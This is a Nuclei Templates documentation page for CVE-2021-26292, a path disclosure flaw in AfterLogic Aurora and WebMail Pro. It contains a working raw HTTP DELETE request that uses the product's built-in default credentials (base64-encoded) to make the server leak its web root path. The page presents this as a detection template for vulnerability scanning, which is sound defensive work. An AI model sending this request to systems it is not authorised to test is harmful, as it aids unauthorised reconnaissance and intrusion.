Skip to content
Nuclei Templates

AfterLogic Aurora and WebMail Pro < 7.7.9 - Full Path Disclosure

ID: CVE-2021-26292

Severity: low

Author: johnk3r

Tags: cve2021,cve,afterlogic,path,disclosure,AfterLogic

Description

Section titled “Description”

AfterLogic Aurora and WebMail Pro products with 7.7.9 and all lower versions are affected by this vulnerability, simply sending an HTTP DELETE request to WebDAV EndPoint with built-in “caldav_public_user@localhost” and it’s the predefined password “caldav_public_user” allows the attacker to obtain web root path.

YAML Source

Section titled “YAML Source”
id: CVE-2021-26292


info:
  name: AfterLogic Aurora and WebMail Pro < 7.7.9 - Full Path Disclosure
  author: johnk3r
  severity: low
  description: |
    AfterLogic Aurora and WebMail Pro products with 7.7.9 and all lower versions are affected by this vulnerability, simply sending an HTTP DELETE request to WebDAV EndPoint with built-in “caldav_public_user@localhost” and it’s the predefined password “caldav_public_user” allows the attacker to obtain web root path.
  reference:
    - https://github.com/E3SEC/AfterLogic/blob/main/CVE-2021-26292-full-path-disclosure-vulnerability.md
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26292
  classification:
    cve-id: CVE-2021-26292
  metadata:
    verified: true
    max-request: 1
    vendor: AfterLogic
    product: AfterLogic Aurora & WebMail
    fofa-query:
      - "X-Server: AfterlogicDAVServer"
      - "x-server: afterlogicdavserver"
  tags: cve2021,cve,afterlogic,path,disclosure,AfterLogic


http:
  - raw:
      - |
        DELETE /dav/server.php/files/personal/GIVE_ME_ERROR_TO_GET_DOC_ROOT_2021 HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic Y2FsZGF2X3B1YmxpY191c2VyQGxvY2FsaG9zdDpjYWxkYXZfcHVibGljX3VzZXI


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "caldav_public_user"
          - "GIVE_ME_ERROR_TO_GET_DOC_ROOT_2021"
        condition: and


      - type: word
        part: header
        words:
          - "application/xml"


      - type: status
        status:
          - 404
# digest: 490a00463044022051f8e7c10b58ea6b1e57fa3626d525d2c884998696e524d660257a7f200b1d99022054d6faab850eb483b2c23970db001e48e7be064a434dc628951123c410607290:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-26292.yaml"

View on Github